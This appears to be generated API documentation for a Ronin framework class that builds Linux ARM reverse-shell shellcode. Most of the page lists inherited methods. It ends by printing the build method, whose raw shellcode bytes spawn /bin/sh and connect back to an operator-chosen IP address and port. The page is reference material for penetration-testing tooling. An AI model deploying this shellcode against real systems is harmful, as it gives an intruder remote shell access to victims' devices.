Class: Ronin::Payloads::Shellcode::Linux::ARM::ReverseShell

Inherits:
ReverseShellPayload show all
Defined in:
lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb

Overview

Linux ARM shellcode that spawns a connect back reverse shell.

Instance Attribute Summary

Attributes included from Mixins::PostEx

#session

Attributes inherited from Payload

#encoders, #payload

Instance Method Summary collapse

Methods inherited from ReverseShellPayload

#packed_ipv4, #packed_ipv6, #packed_port

Methods included from Mixins::Network

#pack_ipv4, #pack_ipv6, #pack_port

Methods included from Mixins::ResolveHost

#host_address, #host_addresses, #host_ip_address, #host_ip_addresses, #host_ipv4_address, #host_ipv4_addresses, #host_ipv6_address, #host_ipv6_addresses

Methods included from Mixins::ReverseShell

#host, included, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #port

Methods included from Mixins::PostEx

#perform_cleanup

Methods inherited from Ronin::Payloads::ShellcodePayload

payload_type, #shellcode

Methods inherited from ASMPayload

#assemble, assembler, payload_type

Methods included from Metadata::OS

included, #os, #os_version

Methods included from Metadata::Arch

#arch, included

Methods inherited from BinaryPayload

payload_type

Methods inherited from Payload

#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Instance Method Details

#buildObject

Builds the shellcode.



53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
# File 'lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb', line 53

def build
  @payload = "\x01\x10\x8F\xE2" \
             "\x11\xFF\x2F\xE1" \
             "\x02\x20\x01\x21" \
             "\x92\x1a\x0f\x02" \
             "\x19\x37\x01\xdf" \
             "\x06\x1c\x08\xa1" \
             "\x10\x22\x02\x37" \
             "\x01\xdf\x3f\x27" \
             "\x02\x21" \
             \
             "\x30\x1c\x01\xdf" \
             "\x01\x39\xfb\xd5" \
             "\x05\xa0\x92\x1a" \
             "\x05\xb4\x69\x46" \
             "\x0b\x27\x01\xdf" \
             "\xc0\x46" \
             \
             "\x02\x00" \
             "#{packed_port}" \
             "#{packed_ipv4}" \
             \
             "/bin/sh\0".b
end